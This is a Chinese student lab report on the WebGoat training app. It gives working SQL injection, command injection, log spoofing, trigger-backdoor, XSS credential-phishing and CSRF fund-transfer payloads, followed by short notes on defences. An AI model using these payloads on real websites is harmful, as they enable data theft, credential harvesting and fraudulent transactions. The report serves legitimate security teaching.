Exp9 Web安全基础
Posted 20175328李欣颖
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Exp9 Web安全基础相关的知识,希望对你有一定的参考价值。
一、实验目标
本实践的目标理解常用网络攻击技术的基本原理。
1、做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。
2、抓图包括学号,P图或无学号,每张扣0.5分 ,超过两张者此项不得分。(1分)
3、抄袭别人者0分
二、实践过程
(一)实验环境
在本次实验中,用到的环境为:WebGoat
1、下载jar包webgoat-server-8.0.0.M26.jar
一直下载不下来,然后下载了另一个:webgoat-container-7.0.1-war-exec.jar
2、WebGoat默认使用8080端口,开启前先用netstat -tupln | grep 8080
查看端口是否被占用,如果被占用,用kill 进程号
终止占用8080端口的进程。
3、WebGoat运行java平台之上,使用java -version
查看jdk版本。
4、使用java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
开启WebGoat
,出现Starting ProtocolHandler ["http-bio-8080"]
之后就开启成功了。
5、浏览器中打开WebGoat登录界面:http://localhost:8080/WebGoat
(可以直接使用在界面里看到的两组用户名和密码登陆)
(二)SQL注入攻击
1、命令注入(Command Injection)
(1)按F12进入调试界面,选择inspect Element
对源代码进行修改:
(2)例如在BackDoors.help
后面加上"& netstat -an & ipconfig"
(用Edit At html
进行修改):
(3)点击View
,可看到命令的输出结果:
2、数字型SQL注入(Numeric SQL Injection)
通过注入SQL字符串的方式查看所有的天气数据
(1)按F12进入调试界面,选择inspect Element
对源代码进行修改:
(2)在选项列表中,任意选择一个值,比如“101”,后面加上or 1=1(用Edit At Html
进行修改):
(3)点击Go
,可以看到攻击成功:
3、日志欺骗(Log Spoofing)
通过插入脚本实现日志欺骗
(1)在文本框中输入用户名:smith Login Succeeded for username admin,这样用户名后面的信息会在同一行显示,而不是在新的一行。
(2)可以往该应用中注入回车(0D%)和换行符(%0A)。在username 中填入Smith%0d%0aLogin Succeeded for username: admin,以达到修改日志的目的:
(3)攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将admin <script>alert(document.cookie)</script>
作为用户名输入。
4、字符串注入(String SQL Injection)
基于查询语句SELECT * FROM user_data WHERE last_name = \'?\'
构造SQL 注入字符串绕过认证
(1)正常情况下只能查询到用户名对应的信用卡号码:
(2)输入以下代码,得到所有用户的信用卡号码:
’ or 1=1 --
// 或者
Snow\' or 1=1 --
5、数据库后门(Database Backdoors)
攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email 地址设置为攻击者的地址
(1)输入102,得到该用户的信息(发现输入的语句没有验证,很容易进行 SQL 注入):
(2)若要执行两个语句,中间需要用分号分隔。输入注入语句:
102; update employee set salary=10000
(3)若设置触发器,可使用以下查询条件:
由于WebGoat 使用的是mysql数据库,不支持触发器,因此以上并不能在这里真正实现
102;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=\'john@hackme.com\' WHERE userid = NEW.userid
(二)XSS攻击
1、跨站脚本钓鱼攻击(Phishing with XSS)
在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。如创建一个form
,要求填写用户名和密码
(1)一个带用户名和密码输入框的表格如下所示:
<form>
feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
搜索这段代码,可以看到页面中增加了一个表单:
(2)还需要一段脚本(这段代码会读取在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat):
<script>
function hack()
{ alert("Had this been a real attack... Your credentials were just stolen." User Name = " +
document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new
Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+
document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
(3)将这两段代码合并:
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
搜索这段代码,出现用户名和密码的填写界面:
填写并登录,WebGoat会反馈输入的信息:
2、存储型XSS攻击(Stored XSS Attacks)
写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
(1)在Message
中构造语句<script>alert("2075328 attack succeed!");</script>
,Title任意。提交后可发现刚创建的帖子test5328
,点击5328
,然后会弹出一个对话框,证明XSS攻击成功:
3、反射型XSS攻击(Reflected XSS Attacks)
恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的
(1)在Enter your three digit access code
中构造语句<script>alert("Hello! I am 20175328");</script>
,点击Purchase
,成功显示警告框,内容为我们script脚本指定的内容:
(三)CSRF攻击
1、跨站请求伪造(Cross Site Request Forgery (CSRF))
CSRF通过伪装来自受信任用户的请求来利用受信任的网站
(1)查看页面右下方Parameters
中的src
和menu
值,分别为290和900:
(2)在Message
中构造语句:
<img src="http://localhost:8080/WebGoat/attack?Screen=290&menu=900&transferFunds=5000" width="1" height="1" />
以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交(其中语句中的&transferFunds=5000
,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
(3)输入任意Title
,提交后,在Message List
中生成以Title
命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
2、绕过 CSRF 确认( CSRF Prompt By‐Pass)
(1)查看页面右下方Parameters
中的src
和menu
值,分别为328和900:
(2)在Message
中构造语句:
<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
(3)点击Submit
生成以Title
命名的链接,点击链接,攻击成功
三、思考题
(一)SQL注入攻击原理,如何防御
1、原理:
(1)SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
(2)sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。如:在用户名、密码登输入框中输入一些\',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。
2、防御:
(1)关闭或删除不必要的交互式提交表单页面;
(2)对漏洞注入点相关代码进行关键字的过滤(如:利用正则表达式),以规范代码安全性;
(3)不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点;
(4)将数据库里的内容进行加密处理使其不具有特殊的意义。
(二)XSS攻击的原理,如何防御
1、原理:
(1)XSS:跨站脚本。
(2)攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本(如:html标签或者javascript代码)的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
2、防御:
(1)用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码;
(2)网页制作者角度:
对输入和URL参数进行过滤
在输出数据之前对潜在的威胁的字符进行编码、转义
(三)CSRF攻击原理,如何防御
1、原理:
(1)CSRF :跨站请求伪造。
(2)CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器。
(3)主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码)
2、防御:
(1)验证请求中的Token
(2)验证 Referer
(3)添加加随机验证
(4)设定cookie域
四、实践总结与体会
最后一次实验了。本次实践都是在webgoat上完成,类似实验楼都有指导,所以比较容易做。同时也加深了我对XSS攻击、SQL注入以及CSRF攻击的理解。
以上是关于Exp9 Web安全基础的主要内容,如果未能解决你的问题,请参考以下文章